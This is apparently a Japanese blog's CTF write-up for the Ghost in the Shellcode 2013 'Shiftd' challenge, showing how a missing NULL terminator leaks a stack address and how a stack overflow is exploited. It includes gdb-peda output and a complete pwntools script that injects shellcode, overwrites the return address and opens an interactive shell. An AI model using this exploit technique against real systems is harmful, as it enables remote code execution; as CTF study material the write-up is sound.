読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Ghost in the Shellcode 2013 Shiftd

pwn list pwn list baby

ELF 64-bit xinetd型の問題だった。脆弱性としてはread関数のNULLを入れ忘れにより、printfでstackのアドレスをleakできるといったものだった。では、さっそく実行してみよう!・・・と思って実行したら何も表示せずに受け付けて、適当に入力したら強制終了したのでデバッグしながら確かめる

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

どうやら、最初に実行したときにユーザーからの入力を受け付け、そのあとでstrcmp関数で文字列比較を行って一致しなければ強制終了するようになっていた。ちなみにその文字列はNowIsTheWinterOfOurDiscountTentという文字列で平文で保存されているため、stringsで一発でわかる。
これが分かったことでもう一回実行してみよう!すると・・・

NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
What is your name?

Welcome, �����!

むっ?変な表示のされ方をしてるものがあるぞ?この実行をしたときは改行文字だけを間違って送ってしまったが、それが今回は吉とでた。とりあえず、バイナリレベルで調べてみる。すると・・・

[DEBUG] Received 0x2f bytes:
    00000000  57 65 6c 63  6f 6d 65 2c  20 00 df ff  ff ff 7f 21  │Welc│ome,│ ··│···!│

どうやら、0x7fffffffdf00というアドレスが送られてきているようだった。今回はこれを上手く使えばいいのだろうか?とりあえず、その後も実行してみるすると・・・

[-------------------------------------code-------------------------------------]
   0x400985:    lea    rax,[rbp-0x820]
   0x40098c:    mov    esi,0x400
   0x400991:    mov    rdi,rax
=> 0x400994:    call   0x4006f0 <strftime@plt>
   0x400999:    mov    DWORD PTR [rbp-0x4],eax
   0x40099c:    cmp    DWORD PTR [rbp-0x4],0xc0000005
   0x4009a3:    je     0x4009ec
   0x4009a5:    lea    rdi,[rip+0x240]        # 0x400bec
Guessed arguments:
arg[0]: 0x7fffffffd640 --> 0x0 
arg[1]: 0x400 
arg[2]: 0x7fffffffda40 ("aaaaabbbbbcccccc")
arg[3]: 0x7ffff7dd8de0 --> 0x3600000010 

return address 0x7fffffffde68

二回目の入力があった後で、何もチェックすることなくreturn addressのほうに行った。このことを利用して今回の攻撃方法をまとめると、一回目の入力で改行文字だけを入力し、stack addressをleakし、leakしたアドレスから二回目が保管されるアドレスの位置を求めて最後にreturn addressを書き換えるような攻撃コードを書けばよいということになる。では、さっそく準備しよう

gdb-peda$ p/x 0x7fffffffdf00 - 0x7fffffffda40
$2 = 0x840

gdb-peda$ p/x 0x7fffffffde68 - 0x7fffffffda40
$2 = 0x428

まず、leakしたstack addressから二回目の入力のoffsetを求め、このleak address - offsetを行って二回目の入力のアドレスを求める。次に、return addressから二回目の入力のoffsetを求めてbuffer overflowさせてreturn addressを書き換える。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
HOST = 'localhost'
PORT = '50000'
if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shiftd')
        print "[+] connect to local\n"

conn.send('NowIsTheWinterOfOurDiscountTent\n')
conn.recvuntil(' name?\n')
conn.send('\n')
conn.recvuntil('Welcome, ')
stack_addr = conn.recv(6) + '\x00\x00'
return_addr = u64(stack_addr) - 0x840
print 'return_addr:' + hex(return_addr)
shellcode = asm(shellcraft.sh())
payload = ''
payload +='\x90' * 500
payload += shellcode
payload += '\x90'*(0x428 - 500 - len(shellcode))
payload += p64(return_addr)
payload += '\n'
conn.recv(' format:\n')
conn.send(payload)
conn.interactive()

[総評]NULL挿入忘れには気を付けよう!